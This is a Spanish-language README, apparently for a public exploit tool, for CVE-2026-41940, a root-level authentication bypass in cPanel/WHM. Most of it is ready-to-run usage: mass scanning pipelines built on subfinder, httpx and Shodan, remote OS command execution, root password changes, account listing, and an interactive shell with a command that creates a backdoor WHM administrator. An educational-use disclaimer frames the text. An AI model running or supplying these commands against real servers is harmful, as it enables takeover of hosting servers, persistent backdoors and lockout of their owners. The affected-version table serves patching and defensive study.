Explota CVE-2026-41940, un bypass de autenticación de cPanel/WHM, para obtener acceso root a WHM y ejecutar comandos de post-explotación, listado de cuentas y sesiones de shell interactivas.
⚠ Esta herramienta ha sido creada únicamente con fines educativos o de bug bounty. Queda estrictamente prohibido su uso no autorizado fuera de entornos controlados.
Una herramienta para explotar CVE-2026-41940, un bypass de autenticación crítico en cPanel & WHM (CVSS 10.0), que permite a atacantes no autenticados obtener acceso WHM a nivel root mediante la inyección de secuencias CRLF en archivos de sesión del lado del servidor a través del encabezado Authorization — sin necesidad de credenciales.
CVE-2026-41940, en términos generales, se explota mediante un fallo en la forma en que el sistema gestiona las sesiones de autenticación en cPanel/WHM. El ataque normalmente comienza con una petición normal a la interfaz de inicio de sesión, donde la aplicación inicializa prematuramente una sesión antes de validar completamente las credenciales del usuario. Debido al manejo inadecuado de la entrada relacionada con la sesión, ciertas estructuras de entrada manipuladas o inesperadas pueden alterar cómo el servidor almacena o interpreta los datos de la sesión.
| Versión | Vulnerable | Parcheada |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/ctdal/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py
La herramienta espera que se especifique un dominio objetivo.
Modo de objetivo único:
python cve.py -u https://target1.com:2083
También puedes escanear desde el archivo target.txt (créalo):
python cve.py -l target.txt -t 50 -o result.json
Comandos disponibles:
python cve.py -u https://victim1.com:2083 # escaneo de objetivo único
python cve.py info -u https://victim1.com:2083 # Recupera información del sistema (versión, carga, uso de disco).
python cve.py host -u https://victim1.com:2083 # Recupera el nombre de host del servidor objetivo.
# Listar todas las cuentas del servidor
python cve.py list -u https://target.com:2087
# Comando del SO
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"
# Obtener información del servidor (hostname, disco, host de MySQL)
python cve.py info -u https://target.com:2087
# Cambiar la contraseña de root
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# Shell WHM interactiva
python cve.py shell -u https://target.com:2087
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python cve.py scan -t 40 -o results.json
# Desde lista de scope
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python cve.py scan -t 30 -o results.json
# Resultados de Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python cve.py -t 30 -o shodan_results.json
# Múltiples fuentes combinadas
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python cve.py -t 20 --action list
Tras una ejecución exitosa, puedes abrir una shell WHM interactiva:
python cve.py shell -u
| Comando | Descripción |
|---|---|
id | Mostrar ID de usuario |
hostname | Obtener el nombre de host del servidor |
accounts | Listar todas las cuentas de usuario |
info | Carga, disco, host de MySQL, versión |
cat <path> | Leer el contenido de un archivo |
exec <cmd> | Ejecutar comando del SO |
newadmin <user> <pass> | Crear admin WHM backdoor |
passwd <pass> | Cambiar la contraseña de root |
l [path] | Listar directorio |
help | Mostrar todos los comandos |
exit | Salir del modo shell |
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL Single target URL (e.g. https://host:2087)
-l, --list LIST File with URLs (one per line)
--hostname HOSTNAME Override canonical Host header (auto-discovered)
Scan:
-t, --threads N Concurrent threads (default: 10)
--timeout N Request timeout seconds (default: 15)
--rate-limit N Delay between targets (default: 0)
--force Skip cPanel detection check
Post-Exploit:
--action ACTION Action: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS New root password (--action passwd)
--cmd CMD OS command (--action cmd/exec)
--new-user USER New cPanel username (--action adduser)
--new-domain DOMAIN New cPanel domain (--action adduser)
Output:
-o, --output FILE Save results to JSON file
--no-color Disable ANSI colors
⚠ Esta herramienta ha sido creada únicamente con fines educativos o de bug bounty. Queda estrictamente prohibido su uso no autorizado fuera de entornos controlados.